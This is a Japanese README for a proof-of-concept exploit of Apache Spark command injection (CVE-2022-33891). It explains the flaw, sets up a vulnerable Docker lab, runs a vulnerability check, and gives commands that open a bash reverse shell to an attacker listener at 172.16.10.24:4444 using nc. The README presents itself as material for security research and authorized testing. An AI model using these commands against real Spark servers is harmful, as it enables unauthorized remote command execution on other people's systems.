
Apache Sparkコマンドインジェクション(CVE-2022-33891)の概念実証エクスプロイト。チェックモードとリバースシェルモードを備え、許可されたセキュリティテストを可能にします。
⚠️ 教育目的および許可されたセキュリティ研究のみを対象としています
元のPoC作成者 AkbarTrilaksana に深く感謝します。
Apache Spark UIは、設定オプション spark.acls.enable を介してACLを有効にする機能を提供します。認証フィルターを使用すると、ユーザーがアプリケーションを表示または変更するためのアクセス権限を持っているかどうかをチェックします。ACLが有効な場合、HttpSecurityFilter のコードパスにより、任意のユーザー名を提供してなりすましを行うことが可能になります。悪意のあるユーザーは、入力に基づいてUnixシェルコマンドを構築し実行する権限チェック関数に到達できる可能性があります。その結果、Sparkを実行しているユーザーとして任意のシェルコマンドが実行されます。これは Apache Spark バージョン 3.0.3 以前、3.1.1 から 3.1.2、および 3.2.0 から 3.2.1 に影響します。
まず、リポジトリをクローンします
git clone https://github.com/asepsaepdin/CVE-2022-33891.git
ディレクトリを変更します
cd CVE-2022-33891
依存関係をインストールします:
pip3 install -r requirements.txt --break-system-packages
コンテナを起動します
docker compose up
新しいターミナルで、次のコマンドを実行します
docker exec -it CVE-2022-33891-spark-1 /bin/bash
コンテナのbashセッションで、次のように入力します:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
必要に応じて、spark-defaults.conf の内容を cat で確認してください。
対話型bashシェルを終了し、Ctrl-Cでdocker-composeプロセスを停止します。
コンテナが正常に停止したら、docker-compose up を再度実行します
docker compose up
ターゲットが脆弱かどうかを確認します:
python3 poc.py -u http://localhost -p 8080 --check
攻撃者の観点から、リモートコード実行はインタラクティブシェルへのアクセスを得るために重要です。そのため、次のコマンドを実行すると、攻撃者のシステム上のポート4444/tcpに対して、bashベースのTCP経由のtelnetリバースシェルがトリガーされます:
python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
nc -nlvp 4444